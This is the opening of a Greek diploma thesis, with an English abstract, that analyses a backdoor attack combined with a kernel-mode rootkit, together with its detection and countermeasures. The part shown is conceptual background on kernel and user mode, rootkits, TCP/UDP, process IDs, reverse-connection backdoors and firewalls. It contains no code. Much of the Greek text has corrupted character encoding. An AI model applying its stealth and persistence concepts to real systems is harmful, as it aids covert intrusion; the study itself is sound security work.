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Περίληψη 

Η ςυγκεκριμζνθ διπλωματικι εργαςία ζχει ωσ αντικείμενο τθν ανάλυςθ μίασ επίκεςθσ backdoor ςε 

ςυνδυαςμό με λογιςμικό rootkit, προκειμζνου ο επιτικζμενοσ να ζχει τθ δυνατότθτα απόκτθςθσ 

δικαιωμάτων υπερχριςτθ ςτον υπολογιςτι του κφματοσ, εν αγνοία αυτοφ. Επιπλζον, αναλφουμε το 

ςκεπτικό και τθ μεκοδολογία ωσ προσ τθ διαδικαςία δθμιουργίασ αντιμζτρων απζναντι ςε μθχανιςμοφσ 

άμυνασ του κφματοσ, ενϊ γίνεται αναφορά και ςτισ υπάρχουςεσ αδυναμίεσ τθσ επίκεςθσ αυτισ, τισ 

οποίεσ το κφμα μπορεί να εκμεταλλευτεί προκειμζνου να εντοπίςει τθν φπαρξθ επίκεςθσ ςτον 

υπολογιςτι του. Σζλοσ, γίνεται μία ςφντομθ αναφορά ςτον τρόπο με τον οποίο οι αδυναμίεσ αυτζσ κα 

μποροφν μελλοντικά να απαλειφκοφν με τθ δθμιουργία αντιμζτρων. 

 

 

 

Abstract 

 

This thesis is intended to analyze a backdoor attack coupled with rootkit software, so the attacker has 

the possibility to obtain superuser rights on the victim's computer, unbeknown to him. Furthermore, we 

analyze the rationale and methodology regarding the countermeasures creation process against the 

victim's defense mechanisms, whilereport being made for existing weaknesses in this attack, which the 

victim can exploit to identify the existence of the attack on his computer. Finally, there is a brief 

reference to how these weaknesses can be eliminated in the future by creating countermeasures. 
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ΚΕΥΑΛΑΙΟ 1
Ο

 : ΘΕΩΡΗΣΙΚΟ ΤΠΟΒΑΘΡΟ 

1.1 Εισαγωγή 

Με τθν εξζλιξθ τθσ τεχνολογίασ τα τελευταία χρόνια ολοζνα και περιςςότεροι άνκρωποι 

χρθςιμοποιοφν θλεκτρονικά μζςα, όπωσ οι υπολογιςτζσ, για διευκόλυνςθ τθσ κακθμερινισ τουσ ηωισ 

και απόκτθςθ πρόςβαςθσ ςε ςθμαντικζσ πλθροφορίεσ γι’ αυτοφσ. Σο διαδίκτυο παρζχει πολλζσ 

πλθροφορίεσ οι οποίεσ με τθν  κατάλλθλθ επεξεργαςία μποροφν να φανοφν ιδιαιτζρωσ χριςιμεσ. 

Δυςτυχϊσ όμωσ όλεσ οι πλθροφορίεσ δεν εξυπθρετοφν καλό ςκοπό. Μθ ζμπιςτεσ πθγζσ μποροφν να 

περιζχουν πλθροφορίεσ οι οποίεσ όχι μόνο μποροφν να καταςτρζψουν δικά μασ δεδομζνα αλλά και να 

τα υποκλζψουν, με ςτόχο τθν εκμετάλλευςθ του κφματοσ. Η διπλωματικι αυτι κζλει να περάςει ωσ 

μινυμα πωσ ςκζφτεται ζνασ επιτικζμενοσ που ζχει ςκοπό να αποκτιςει πρόςβαςθ ςε ζναν 

υπολογιςτι, αλλά και τα βιματα που ακολουκεί για να παραμείνει κρυμμζνοσ ςε αυτόν. Εξάλλου, το 

να παραβιάςεισ ζνα ςφςτθμα είναι το εφκολο κομμάτι ςε μία επίκεςθ, ενϊ το δφςκολο είναι να 

παραμείνεισ ανϊνυμοσ.   

1.2Κατάσταση χρήστη και Κατάσταση πυρήνα 

΢το ςυγκεκριμζνο κεφάλαιο τθσ διπλωματικισ εργαςίασ κα κάνουμε μία μικρι αναφορά πάνω 

ςε Kernel mode (κατάςταςθ πυρινα) κακϊσ και ςε User mode (κατάςταςθ χριςτθ) καταςτάςεισ, μιασ 

και το rootkit, με το οποίο κα αςχολθκοφμε ςτθν πορεία τθσ διπλωματικισ εργαςίασ, τρζχει 

ςε Kernel mode. Οπότε είναι καλό να γίνει μία ςφντομθ αναφορά για τυχόν κάλυψθ αποριϊν. 

 Η λειτουργία Kernel mode ενόσ λειτουργικοφ ςυςτιματοσ, γνωςτι και ωσ κατάςταςθ πυρινα, 

είναι μία από τισ δφο ξεχωριςτζσ ρυκμίςεισ λειτουργίασ τθσ CPU (κεντρικι μονάδα επεξεργαςίασ) ςε 

ςφςτθμα Linux. Η δεφτερθ λειτουργία είναι θ User mode, κατά τθν οποία εκτελοφνται προγράμματα 

των χρθςτϊν αλλά ςε μθ-προνομιακι λειτουργία (non-privilage). Παρακάτω κα αναλφςουμε περαιτζρω 

τθ δεφτερθ αυτι λειτουργία. 

Κατά τθ διάρκεια που θ κεντρικι μονάδα επεξεργαςίασ βρίςκεται ςε λειτουργία Kernel mode, 

κεωρείται πωσ τα προγράμματα τα οποία εκτελοφνται είναι ζμπιςτα, ςυνεπϊσ μπορεί να τρζξει 

οποιαδιποτε εντολι, κακϊσ και να ανατρζξει ςε οποιαδιποτε διεφκυνςθ μνιμθσ.  Ο Kernel (που είναι 

ο πυρινασ του λειτουργικοφ ςυςτιματοσ και ζχει τον πλιρθ ζλεγχο πάνω ςε ό, τι ςυμβαίνει ςτο 

ςφςτθμα) είναι αξιόπιςτο λογιςμικό, αλλά όλα τα άλλα προγράμματα  κεωροφνται ωσ μθ αξιόπιςτο 

λογιςμικό. Με τον τρόπο αυτό, οποιαδιποτε προγράμματα τρζχουν ςε User mode απαιτείται θ άδεια 

από τον Kernel μζςω μίασ κλιςθσ ςυςτιματοσ (system call), προκειμζνου να αποκτιςουν ανϊτερα 

δικαιϊματα για να εκτελζςουν οριςμζνεσ διαδικαςίεσ, όπωσ θ δθμιουργία Ειςόδου/Εξόδου. ΢ε αυτό το 

ςθμείο πρζπει να ςθμειωκεί πωσ όλεσ οι διεργαςίεσ ξεκινοφν από User mode και μζςω υπθρεςιϊν που 

παρζχονται από τον Kernel αλλάηουν εν ςυνεχεία ςε Kernel mode[1]. 

Μία κλιςθ ςυςτιματοσ (system call) είναι ζνα αίτθμα προσ τον Kernel ςε ζνα λειτουργικό 

ςφςτθμα, όπωσ το Unix, από μία ενεργι διαδικαςία για μία υπθρεςία που παρζχεται από τον Κernel.  

Μία διεργαςία για παράδειγμα μπορεί να είναι θ εκτζλεςθ ενόσ προγράμματοσ. Μία διαδικαςία για να 

καλείται ενεργι κα πρζπει να εκτελείται ςτθ CPU, ενϊ κατά τθ διάρκεια αυτι άλλεσ διαδικαςίεσ 

περιμζνουν ςτθν ουρά για τθν εκτζλεςι τουσ. Ο οριςμόσ τθσ Ειςόδου/Εξόδου είναι θ οποιαδιποτε 

μεταφορά αρχείων προσ ι από τθν CPU ι άλλων περιφερειακϊν ςυςκευϊν που προκφπτει από τθν 

εκτζλεςθ ενόσ προγράμματοσ, μίασ εντολισ ι ακόμα και από μία ςυςκευι. 
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Είναι πολφ ςθμαντικό να αναφερκεί πωσ όταν μία διαδικαςία εκτελείται μζςω Kernel mode δεν 

υπάρχει θ δυνατότθτα αυκαίρετθσ διακοπισ αυτισ και θ αντικατάςταςι τθσ από άλλθ διεργαςία, ςε 

αντίκεςθ με ό,τι ςυμβαίνει με το User mode. Παρ’ όλα αυτά μπορεί να διακοπεί από μία διακοπι. 

Με τον οριςμό διακοπι εννοοφμε ζνα ςιμα για το λειτουργικό ςφςτθμα που υποδθλϊνει ότι ζχει 

ςυμβεί ζνα γεγονόσ που οδθγεί ςτθν παρζμβαςθ των εντολϊν που εκτελοφνται από τθν κεντρικι 

μονάδα επεξεργαςίασ.  Η διακοπι αυτι μπορεί να προζρχεται από δφο πθγζσ, είτε μζςω hardware (π.χ. 

πλθκτρολόγιο, ποντίκι, κ.λ.π.) είτε μζςω Software που μπορεί να είναι από ζνα πρόγραμμα που 

εκτελείται ςε User mode[2]. 

Όταν μία διεργαςία ενόσ χριςτθ καλεί τμιμα του κϊδικα Kernel μζςω κλιςθσ ςυςτιματοσ, 

αυτόματα γίνεται διαδικαςία kernel και εντάςςεται ςε Kernel mode. Κατά τθ διάρκεια που βρίςκεται 

ςε Kernel mode ζχει δικαιϊματα  root κακϊσ και πρόςβαςθ ςε βαςικοφσ πόρουσ του ςυςτιματοσ. 

Ο Kernel δεν είναι μία διαδικαςία αλλά ο ζλεγχοσ των διαδικαςιϊν που τρζχουν μόνο ςε Κernel mode. 

Όταν ο Κernel ζχει εκπλθρϊςει το αίτθμα μίασ διεργαςίασ αυτι επιςτρζφει πάλι ςε User mode. 

Σζλοσ, πρζπει να αναφερκεί πωσ ςε λειτουργικά ςυςτιματα όπωσ τα Unix μποροφν να τρζχουν 

πολλζσ διαδικαςίεσ ςε Kernel mode ταυτόχρονα. Όμωσ ςτθν περίπτωςθ μονοπφρθνου επεξεργαςτι 

μπορεί μονάχα μία διεργαςία να τρζχει ςτον Kernel, ενϊ οι υπόλοιπεσ κα περιμζνουν να τελειϊςει 

εκείνθ για να λάβουν και αυτζσ ςειρά*1+. 

1.3Λογισμικό Rootkit 

Η λζξθ rootkit προζρχεται από το ςυνδυαςμό  των λζξεων root (από το υπερχριςτθ ςε λειτουργικό 

ςφςτθμα Unix) και τθσ λζξθσ kit. To rootkit είναι ζνα λογιςμικό με ςκοπό τθν παροχι ςυνεχοφσ 

πρόςβαςθσ ςε ζνα υπολογιςτι με δικαιϊματα υπερχριςτθ.  Προκειμζνου να εγκαταςτιςει το 

λογιςμικό αυτό ζνασ χριςτθσ ςε ζναν υπολογιςτι, κα πρζπει να ζχει βρει κάποια αδυναμία ςτα 

ςυςτιματα αςφαλείασ ι να ζχει αποκτιςει ζναν κωδικό πρόςβαςθσ.  Σο rootkit από μόνο του ςαν 

λογιςμικό δεν αποτελεί απειλεί, ςε ςυνδυαςμό όμωσ με άλλα κακόβουλα λογιςμικά (όπωσ κα δοφμε 

και παρακάτω) μποροφν να προκαλζςουν ςθμαντικά προβλιματα αςφαλείασ ςε ζνα υπολογιςτι, 

παίρνοντασ τον ζλεγχο του υπολογιςτι από τον ιδιοκτιτθ και αποςπϊντασ με αυτό τον τρόπο 

δεδομζνα καίριασ φφςθσ, όπωσ κωδικοφσ πρόςβαςθσ ςε διάφορα ςυςτιματα, κωδικοφσ τραπεηικϊν 

λογαριαςμϊν, κ.λ.π. Σο αρνθτικό κομμάτι με τα rootkits ζγκειται ςτο γεγονόσ πωσ τα rootkit δεν είναι 

ανιχνεφςιμα από τα αντιικά ςυςτιματα κακϊσ ζχουν τθ δυνατότθτα να τα διαςτρεβλϊνουν, κάνοντάσ 

τα με τον τρόπο αυτό αξιόπιςτα ςτα μάτια των προγραμμάτων εξιχνίαςθσ. Αυτό όμωσ δεν ςθμαίνει πωσ 

είναι εντελϊσ μθ ανιχνεφςιμα. Τπάρχουν τρόποι εξιχνίαςθσ και αντιμετϊπιςθσ τζτοιου είδουσ 

λογιςμικϊν μζςω memory dumps, signature based method ι ακόμα και των γνωςτϊν 

λογιςμικϊν rootkit-hunters. ΢κοπόσ δθμιουργίασ των rootkits είναι να κάνουν από δυςκολότερθ ζωσ 

και αδφνατθ τθν ανάλυςθ ενόσ υπολογιςτι. Γι’ αυτό το λόγο από τθ φφςθ τουσ χαρακτθρίηονται και 

ωσ anti-forensic tools. Σα rootkit δθμιουργικθκαν με ςκοπό να καμουφλάρουν μολυςμζνα αρχεία ςε 

βακμό που να μθν γίνονται αντιλθπτά από τον χριςτθ, παρζχοντασ τθν ελευκερία ςτον επιτικζμενο να 

παραμζνει ςτον μθχάνθμα αυτό χωρίσ το κφμα να το γνωρίηει*3+. 

Ο τρόποσ λειτουργίασ ενόσ rootkit είναι απλϊσ, όπωσ προείπαμε, ζνα malware που παρζχει ςτον 

επιτικζμενο τθ δυνατότθτα ελζγχου του υπολογιςτι, ενϊ ταυτόχρονα δεν γίνεται αντιλθπτόσ από το 

ςφςτθμα. Εν αντικζςει με άλλα malware και virus, αυτό δεν γίνεται αντιλθπτό οφτε από antivirus αλλά 

οφτε και από anti-spyware, κρφβοντασ αρχεία κακϊσ και εκτελοφμενεσ διεργαςίεσ. Εκμεταλλευόμενα 

τθ λειτουργία αυτι, τα rootkits εγκακίςτανται ςε ζναν υπολογιςτι μαηί με άλλα κακόβουλα λογιςμικά 

με ςκοπό να είναι και αυτά πλιρωσ μθ-ανιχνεφςιμα από αντιικά προγράμματα. 
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Αυτι τθ ςτιγμι τα rootkits χωρίηονται ςε δφο βαςικζσ κατθγορίεσ, ςτα User-mode και ςτα Kernel-

mode rootkits. Οι διαφορά μεταξφ αυτϊν των δφο κατθγοριϊν βρίςκεται ςτο επίπεδο ςτο οποίο δρουν 

και ςτο είδοσ του λογιςμικοφ που επθρεάηουν[4]. 

Σα User-mode rootkits αντικακιςτοφν εκτελζςιμα αρχεία και βιβλιοκικεσ του ςυςτιματοσ τα 

οποία οι χριςτεσ χρθςιμοποιοφν. Οι δφο πιο ςυνικεισ ςτόχοι ςε ςυςτιματα Unix και Linux είναι θ 

βιβλιοκικθ C και το secure shell (SSH). Πιο ςυγκεκριμζνα, αν ζνασ χριςτθσ εγκαταςτιςει rootkit το 

οποίο αντικακιςτά το SSH, το νζο shell κα ζχει ςαν θμζρα δθμιουργίασ και μζγεκοσ αρχείου αυτά που 

είχε το αρχικό. Με αυτό τον τρόπο είναι δφςκολο να γίνει αντιλθπτι θ φπαρξθ rootkit ςτο κφμα. Σο 

ςφνθκεσ είναι τα rootkits να ςτοχεφουν ςε ζνα ζωσ και ςε λίγα εκτελζςιμα αρχεία. Αυτό γίνεται για τον 

ευνόθτο λόγο πωσ όςο λιγότερα αρχεία ςτοχοποιοφνται τόςο πιο δφςκολο είναι να γίνει αντιλθπτι θ 

φπαρξθ επιτικζμενου ςτον υπολογιςτι. 

Όςον αφορά τα Kernel-mode rootkits επεμβαίνουν ςτον Κernel (εξοφ και το όνομα) του 

λειτουργικοφ ςυςτιματοσ του κφματοσ, ενϊ άλλεσ φορζσ τον αντικακιςτοφν τελείωσ. Όπωσ είδαμε ςε 

προθγοφμενο κεφάλαιο ο Kernel είναι θ καρδιά του λειτουργικοφ ςυςτιματοσ μιασ και ςε αυτόν 

πραγματοποιοφνται πολλζσ βαςικζσ διεργαςίεσ, ςυνεπϊσ θ παρζμβαςθ επιτικζμενου ςε αυτόν είναι 

καίριασ ςθμαςίασ[5]. 

1.4 Διαφορές μεταξύ TCPκαι UDP 

Πριν αναφζρουμε τισ διαφορζσ μεταξφ TCPκαι UDPκαλό είναι να αναφζρουμε με λίγα λόγια το τι είναι 

αυτά.Με τισ λζξεισ TCPι UDPαναφερόμαςτε ςε πρωτόκολλα επικοινωνίασ μεταξφ δφο τερματικϊν ςε 

ζνα δίκτυο. Η πιο ςυνικθσ περίπτωςθ είναι μεταξφ ενόσ clientκαι ενόσ server. Βζβαια αυτό που πρζπει 

να τονίςουμε είναι πωσ τα πακζτα, είτε μιλάμε για TCPείτε για UDP, καταλιγουν πάντα ςε μία ΙΡ 

διεφκυνςθ (τερματικό).Σα πρωτόκολλα αυτά, ανικουν ςτο TransportLayer του επιπζδουOSI, ι αλλιϊσ 

ςτο ΢τρϊμα μεταφοράσ. Βρίςκονται δθλαδι πάνω από το ςτρϊμα ΙΡ, γι’ αυτό και είναι γνωςτόσ και ο 

όροσ TCP/IP (αν και ο αντίςτοιχοσ όροσ UDP/IPδεν είναι ευρζωσ γνωςτόσ)[6].  

Σο κφριο χαρακτθριςτικό του πρωτοκόλλου TCPι TransmissionControlProtocolείναι θ εγκυρότθτα 

τθσ παραλαβισ του απεςταλμζνου πακζτου από το τερματικό. Σο ΣCPπαρζχει ζναν αρικμό υπθρεςιϊν 

ςτο επίπεδο του IP, κακϊσ και ςε παραπάνω ςτρϊματα. Αυτό γίνεται με ςκοπό να παρζχει το γνωςτό 

πρωτόκολλο, με ονομαςία Connection-oriented, ςταανϊτερα ςτρϊματα ϊςτε να υπάρχει θ 

εμπιςτευτικότθτα για τθν παράδοςθ ολόκλθρου του πακζτου ςτο άλλο άκρο τθσ επικοινωνίασ. Με 

άλλα λόγια το TCPδρα ςαν μία εφαρμογι που πιςτοποιεί τθν παραλαβι του πακζτου. ΢τθν περίπτωςθ 

όμωσ που το πακζτο δεν φτάςει ςτον παραλιπτθ ι ακόμα και αν φτάςει κομμάτι αυτοφ, τότε 

πραγματοποιείται επαναποςτολι του ςυγκεκριμζνου πακζτου. 

Για να γίνουν περιςςότερο κατανοθτά τα προαναφερκζντα, κα δοφμε το κεωρθτικό κομμάτι ςε 

ζνα πρακτικό παράδειγμα. Κατά τθ διάρκεια φόρτωςθσ μίασ ιςτοςελίδασ ςτον webbrowser, ουςιαςτικά 

ο υπολογιςτισ αποςτζλλει TCPπακζτα ςτον επικυμθτό server, ηθτϊντασ να του ςτείλει τα πακζτα που 

αφοροφν τθ ςελίδα αυτι. Αφοφ ο serverλοιπόν ςτείλει τα ηθτοφμενα TCPπακζτα, κατά τθν παραλαβι 

αυτϊν κα γίνει ο κατάλλθλοσ ζλεγχοσ για τθν πικανι απϊλεια ι καταςτροφι κάποιου πακζτου, και αν 

βγει ζγκυρο το ςφνολο τότε ο περιθγθτισ κα εμφανίςει τθν ιςτοςελίδα ςτθν οκόνθ. Σαυτόχρονα κα 

γίνει αποςτολι μθνφματοσ ςτον server για επιτυχι παραλαβι των πακζτων. 

Όςον αφορά το πρωτόκολλο UDP(UserDatagramProtocol), πραγματοποιεί και αυτό μεταφορά 

πακζτων μεταξφ δφο τερματικϊν, όπωσ και το TCP, με τθν κφρια διαφορά όμωσ πωσ δεν ενδιαφζρεται 

για τθν ζγκυρθ παραλαβι των πακζτων από τον παραλιπτθ. Πιο ςυγκεκριμζνα, κατά τθν UDP 

επικοινωνία δφο τερματικϊν, τα πακζτα απλϊσ ςτζλνονται ςτον παραλιπτθ. Ο αποςτολζασ δεν κα 

παραλάβει κάποια ειδοποίθςθ για τθν επιτυχθμζνθ ι αποτυχθμζνθ παραλαβι των πακζτων. ΢υνεπϊσ, 
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αν κάποιο πακζτο δεν φτάςει ςτον τελικό προοριςμό ο αποςτολζασ δεν κα το γνωρίηει και κα ςυνεχίςει 

να ςτζλνει πακζτα κανονικά[7].  

΢υνεπϊσ, μία διαφορά μεταξφ των δφο αυτϊν πρωτοκόλλων είναι θ εγκυρότθτα παραλαβισ 

τωνπακζτων. Επιπλζον, αφοφ δεν υπάρχει εγκυρότθτα παραλαβισ των πακζτων (ςε UDPεπικοινωνία), 

δεν υπάρχει και θ δυνατότθτα επαναποςτολισ των πακζτων που χάκθκαν. Μία ακόμα ςθμαντικι 

διαφορά ανάμεςα ςε αυτζσ τισ δφο κατθγορίεσ ζγκειται ςτθν ταχφτθτα τθσ επικοινωνίασ. Επειδι το 

UDPπρωτόκολλο δεν ενδιαφζρεται για τθν παραλαβι των πακζτων από τον παραλιπτθ, όπωσ 

προείπαμε, ςτζλνει ςυνεχϊσ πακζτα. Αυτό φυςικά, ζχει ωσ αποτζλεςμα τα πακζτα να φτάνουν πιο 

γριγορα ςτον τελικό προοριςμό τουσ ςε ςχζςθ με αυτά τθσ TCPεπικοινωνίασ. Για τον λόγο αυτό ςε 

περιπτϊςεισ ηωντανισ μετάδοςθσ, χρθςιμοποιοφνται UDPπρωτόκολλα, μιασ και ο κφριοσ παράγοντασ 

είναι θ ταχφτθτα. Σζλοσ, δφο ακόμα διαφορζσ που βαςίηονται πάνω ςτθν ταχφτθτα τθσ επικοινωνίασ 

είναι πωσ ςτθν UDPςφνδεςθ δεν απαιτείται εγκατάςταςθ τθσ ςφνδεςθσ (established), ςε αντίκεςθ με 

τθν  TCP, και πωσ ςτθν περίπτωςθ τθσ UDPεπικοινωνίασ, λόγω του ότι κζλουμε γριγορεσ ταχφτθτεσ, ο 

αρικμόσ των αποςτελλομζνων δεδομζνων είναι αρκετά μικρότεροσ, ζναντι αυτισ τθσ TCP[6].  

1.4 Σαυτότητα Διεργασίας 

Με τον όρο Σαυτότθτα Διεργαςίασ ι αλλιϊσ με τθν αγγλικι ορολογία processID 

(processidentificationnumber), αναφερόμαςτε ςε ζναν αρικμό που ζχει δοκεί ςε μία διεργαςία από το 

κεντρικό ςφςτθμα, προκειμζνου να είναι αναγνωρίςιμθ από το ςφςτθμα αυτό. Μία εκτελζςιμθ 

διεργαςία αποτελεί μία ενζργεια ενόσ προγράμματοσ. Κάκε διεργαςία ζχει μοναδικό processIDκαι το 

οποίο, να ςθμειωκεί, πωσ δεν μπορεί ποτζ να είναι αρνθτικό. 

΢χετικά με τισ τιμζσ των διεργαςιϊν (PID), ο αρικμόσ 1 αναφζρεται ςτθν διεργαςία init, που είναι 

θ κυρίωσ υπεφκυνθ για τθν εκκίνθςθ και τον τερματιςμό του ςυςτιματοσ. Εξ οριςμοφ θ Σαυτότθτα 

Διεργαςίασ με αρικμό 1 δεν είναι δεμζνθ με τθ διεργαςία init, απλϊσ ζχει τον ςυγκεκριμζνο αρικμό 

ταυτότθτασ κακότι είναι θ πρϊτθ διεργαςία που καλείται από τον Κernel. Να ςθμειωκεί επίςθσ πωσ ο 

αρικμόσ με τον οποίο υποδθλϊνουμε μία διεργαςία δεν είναι αφξων. Με άλλα λόγια, αν το 

processIDμιασ διεργαςίασ είναι υψθλό δεν ςθμαίνει πωσ όλεσ οι προθγοφμενεσ κζςεισ είναι 

κατειλθμμζνεσ. Ο λόγοσ για τον οποίο δίνονται τζτοιεσ τιμζσ είναι για τθν αποφυγι τυχόν ςφαλμάτων, 

όπωσ για τθν αποφυγι άμεςθσ επαναχρθςιμοποίθςθσ των τιμϊν αυτϊν. 

Ο λόγοσ όμωσ που ζχουν δθμιουργθκεί τα processIDείναι για να μποροφμε να 

παρακολουκιςουμε τισ διεργαςίεσ, αλλά ακόμα και να τισ τερματίςουμε. Με τθν ζννοια 

«παρακολουκιςουμε» εννοοφμε τθν φπαρξθ των γονζων διευκφνςεων (parentID). Όταν μία διεργαςία 

καλείται και αυτι με τθ ςειρά τθσ ενεργοποιεί μία άλλθ διεργαςία τότε θ πρϊτθ διεργαςία είναι ο 

γονζασ (parent) τθσ δεφτερθσ (child). Ζνασ γονζασ (parentIDorPPID) μπορεί να περιζχει 

πολλζσδιεργαςίεσ (PID) και όπου όλεσ κα μοιράηονται τον ίδιο γονζα.  

Σζλοσ, όςον αφορά τον τερματιςμό κάποιασ διεργαςίασ, γίνεται μζςω  του terminalκαι τθν χριςθ 

τθσ εντολισ “kill”. Αυτό μπορεί να εκπορεφεται από τθ δυςλειτουργία τθσ διεργαςίασ ι ακόμα και από 

το γεγονόσ πωσ μπορεί θ ςυγκεκριμζνθ διεργαςία να μθν κακίςταται ζμπιςτθ από τον χριςτθ.  Με τον 

όρο δυςλειτουργία μίασ εργαςίασ αναφερόμαςτε ςε μία διεργαςία θ οποία δεν ζχει τθν επικυμθτι 

«πορεία». Αν ο χριςτθσ προςπακιςει να τερματίςει το πρόγραμμα μπορεί θ διεργαςία να 

εξακολουκιςει να λειτουργεί (zombieprocess).΢το ςθμείο αυτό φαίνεται θ χρθςιμότθτα των PPID. Ο 

πιο αποτελεςματικόσ τρόποσ να τερματιςτεί μία διεργαςία με μθ προςδοκϊμενθ πορεία είναι ο 

τερματιςμόσ του γονζα αυτισ τθσ διεργαςίασ. ΢κοτϊνοντασ λοιπόν των γονζα τθσ διεργαςίασ αυτισ, 

τερματίηεται θ ανεπικφμθτθ διεργαςία. Βζβαια μαηί με αυτιν τερματίηονται και όλεσ όςεσ διεργαςίεσ 

ζχουν τον ίδιο γονζα. 
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1.5 Λογισμικό Backdoor 

Κακϊσ για τθν επίκεςθ που κα υλοποιιςουμε ςτθν ςυγκεκριμζνθ διατριβι κα κάνουμε χριςθ 

backdoorλογιςμικοφ, ςϊφρον είναι να αναφζρουμε πρϊτα μερικά λόγια και γι’ αυτό. Με τον όρο 

backdoorαναφερόμαςτε ςε μία κρυφι διαδικαςία με ςκοπό τον απομακρυςμζνο ζλεγχο ενόσ 

ςυςτιματοσ. ΢κοπόσ του είναι να προςπεράςει τα ςυςτιματα αςφαλείασ  του υπολογιςτι. Ζνα τζτοιο 

λογιςμικό μπορεί να είναι τμιμα κάποιου προγράμματοσ ι ακόμα και ανεξάρτθτο πρόγραμμα από 

μόνο του. Λόγω του ότι ςε μζγεκοσ ο κϊδικασ των backdoorείναι πολφ μικρόσ, είναι δφςκολο να 

εντοπιςτεί ςε περίπτωςθ που είναι ενςωματωμζνοσ μζςα ςτον κϊδικα κάποιου άλλου λογιςμικοφ. 

Επιπλζον, οι γραμμζσ αυτζσ του κϊδικα ι κα είναι με κάποιο τρόπο κρυπτογραφθμζνεσ ι ακόμα και κα 

μοιάηουν με λογιςμικά λάκθ του προγράμματοσ. 

Οι τρόποι ειςόδου ενόσ backdoorλογιςμικοφ ςε ζνα ςφςτθμα πλθκαίνουν  με αποτζλεςμα θ 

άμυνά μασ απζναντι ςε τζτοιου είδουσ προγράμματα να είναι περιοριςμζνθ. Όπωσ προείδαμε, ζχουν 

τθν δυνατότθτα, λόγω τθσ μικρισ ζκταςθσ κϊδικα που ζχουν, να ενςωματωκοφν με ζνα άλλο 

λογιςμικό, ζμπιςτο ωσ προσ το κφμα, και να δράςουν μζςω αυτοφ του προγράμματοσ. Ζνασ άλλοσ 

τρόποσ εγκατάςταςθσ του backdoorςε ζνα ςφςτθμα είναι μζςω τθσ χριςθσ κακόβουλου λογιςμικοφ, 

που ζχει ωσ ςτόχο και μόνο τθν εγκατάςταςθ του backdoorςτον υπολογιςτι του κφματοσ. Αυτό 

ςυνικωσ επιτυγχάνεται με τθν απόκτθςθ πρόςβαςθσ του κακόβουλου λογιςμικοφ ςτον υπολογιςτι με 

τθ χριςθ ποικίλων μεκόδων, όπωσ μολυςμζνα e-mail. Τπάρχουν και άλλοι τρόποι για τθν εγκατάςταςθ 

ενόσ backdoor λογιςμικοφ ςε ζνα ςφςτθμα, που δεν κα αναλφςουμε, όπωσ ο πιο απλόσ είναι θ 

απόκτθςθ πειςτθρίων πρόςβαςθσ ςτο ςφςτθμα του κφματοσ[8]. 

 Με τθν εγκατάςταςθ του λογιςμικοφ οι επιτικζμενοι αποκτοφν πρόςβαςθ ςτο δίκτυο του 

κφματοσ, εν αγνοία αυτοφ. Πριν τθν εξζλιξθ των firewallsο επιτικζμενοσ απλά ςυνδεόταν ςε μία πόρτα 

του κφματοσ και αποκτοφςε  πρόςβαςθ ςτον υπολογιςτι αυτοφ και ςυνεπϊσ και ςε όλα τα αρχεία του. 

Με τθν πάροδο του χρόνου και με τθν είςοδο των firewallsςτο παιχνίδι ο τρόποσ ςφνδεςθσ αυτόσ ιταν 

πλζον ξεπεραςμζνοσ. Ζτςι, ο τρόποσ αυτόσ περιορίςτθκε και τθ κζςθ του πιρε θ επικοινωνία 

“reverseconnection” με τον επιτικζμενο. ΢τθν περίπτωςθ αυτι το λογιςμικό backdoorαναγκάηει το 

κφμα, εν αγνοία του, να δθμιουργιςει εκείνοσ ςφνδεςθ με τον επιτικζμενο παρζχοντασ του ζτςι 

απομακρυςμζνο ζλεγχο.  

Οι  τρόποι αντιμετϊπιςθσ μίασ τζτοιασ επίκεςθσ δεν είναι πολλοί, υπάρχουν όμωσ οριςμζνα 

αντίμετρα που μποροφν να λθφκοφν. Αρχικά, ςε εταιρίεσ, ςθμαντικό είναι ευαίςκθτεσ πλθροφορίεσ να 

βρίςκονται πίςω από firewallsκαι να επιτρζπεται θ είςοδοσ μόνο ςε ζμπιςτουσ χριςτεσ. Σζλοσ, 

ςθμαντικισ ςθμαςίασ είναι θ φπαρξθ λογιςμικοφ που κα παρακολουκεί τθν κίνθςθ των πακζτων εντόσ 

του δικτφου για τθν εφρεςθ τυχϊν περίεργων κινιςεων μζςα ςτο δίκτυο[9]. 

1.6 Σείχος Προστασίας 

Σο Σείχοσ Προςταςίασ ι αλλιϊσ με τθν αγγλικι ορολογία “Firewall”, είναι ζνα ςφςτθμα δικτφου 

προςταςίασ, είτε ςε hardware είτε ςε software, με ςκοπό τον ζλεγχο των ειςερχομζνων και 

εξερχομζνων πακζτων ςε ζνα δίκτυο υπολογιςτϊν, βαςιςμζνο πάνω ςε ζνα ςφνολο κανόνων. Με άλλα 

λόγια, τα τείχθ προςταςίασ πρζπει ναεμποδίηουν τθν είςοδο μθ εξουςιοδοτθμζνου χριςτθ ςε ζνα 

δίκτυο υπολογιςτϊν. Όλα τα πακζτα μθνυμάτων που ειςζρχονται ι ακόμα και εξζρχονται από το 

δίκτυο ελζγχονται από τα firewallsκαι εμποδίηεται θ αποςτολι τουσ αν δεν πλθροφν τα κριτιρια από το 

ςφνολο κανόνων που διακζτουν (π.χ. πόρτεσ, διευκφνςεισ ΙΡ κλπ.) 

Ιςτορικά, το όνομα firewallsπροζρχεται από τθν πυροςβεςτικι ζννοια, δθλαδι τοίχοσ για τθν 

εμπόδιςθ εξάπλωςθσ τθσ φωτιάσ. ΢τθ δεκαετία του 80’ ζγινε αναγκαία προτεραιότθτα θ αςφάλιςθ τθσ 
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επικοινωνίασ ενόσ clientμε ζνα server. Πριν λοιπόν τθν είςοδο των firewallsςτθν αςφάλιςθ των 

δικτφων, τθν ςυγκεκριμζνθ αρμοδιότθτα είχαν αναλάβει τα “accesscontrollists” (ACLs). Αυτά εμπόδιηαν 

τθν δθμιουργία ςφνδεςθσ clientμε server βαςιηόμενα κακαρά ςτισ IPδιευκφνςεισ. Με τθν πάροδο του 

χρόνου όμωσ τα ACLsδεν ιταν αποτελεςματικά και αυτό είχε ωσ επακόλουκο τθν  δθμιουργία των 

firewalls,με ςτόχο τθν καταπολζμθςθ του θλεκτρονικοφ εγκλιματοσ. Σα τείχθ προςταςίασ χωρίηονται 

ςε κατθγορίεσ ανάλογα με τθν κζςθ τουσ ςτο δίκτυο όπωσ φυςικά και τον τρόπο λειτουργίασ τουσ[10]. 

Όςον αφορά τθν πρϊτθ κατθγοριοποίθςθ, τα τείχθ προςταςίασ μποροφν να τοποκετθκοφν είτε 

μεταξφ του διαδικτφου και του τοπικοφ δικτφου (WAN/LAN),τα γνωςτά ωσ και network-basedfirewalls, 

